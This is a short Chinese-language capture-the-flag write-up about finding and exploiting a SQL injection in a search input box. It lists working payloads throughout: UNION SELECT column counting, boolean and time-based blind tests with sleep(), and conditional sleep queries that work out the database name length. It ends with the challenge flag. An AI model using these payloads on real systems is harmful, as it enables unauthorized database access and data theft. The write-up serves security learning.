0x01 漏洞发现
2.在输入框输入 1' 发现报错,然后在输入框输入 1' # 发现页面正常返回,说明页面可能存在注入点。
0x02 漏洞利用
1.既然他报错,那么我们就利用他报错这个特点先来探测出他列数,就用我在显错注入说到的 union方法
1' union select 1 # | 页面报错 |
1' union select 1,2 # | 页面正常 |
1' union select 1,2,3 # | 页面报错 |
说明列数为2
2.我们探测到列数为2,我们抱着侥幸心理尝试使用 1' union select 1,user() # 看页面是否有回显,发现没有,那么只能通过盲注了。
3.使用bool型盲注尝试:1' and 1=1 # 1' and 1=2 # 发现页面无论与上的对象是对是错页面都没有变化。
4.使用时间盲注尝试:and sleep(3) # 我提交之后可能是我电脑原因 确实延时了,后来想想好像搜索其他参数也有延时。。 后来用 and sleep(20) # 发现还是延时一会就打开。
5.按理说他确实存在注入为啥and不好用呢,我猜测可能二者之间(查询语句和注入语句)可能有一个为假,查询不出来。我用or试了一下 1' or sleep(5) # 1' or sleep(20) # 发现确实延时,可以使用延时注入进行爆破了。
6.
输入 | 输出 |
---|---|
1' or if(length(database())>4,sleep(3),1) # | 延时3秒 |
1' or if(length(database())>10,sleep(3),1) # | 立即刷新 |
1' or if(length(database())>7,sleep(3),1) # | 立即刷新 |
1' or if(length(database())=5,sleep(3),1) # | 延时3秒 |
判断出数据库长度为5
7. 后续操作请看 我的这篇文章。
注意把文章中的 and 改成 or 即可。
8.最后放出flag(注意flag不在flag表中):
dsfasdczxcg
0x03 结语
很简单,只要掌握了延时注入 其实post和get没啥区别 就是输入的地方改变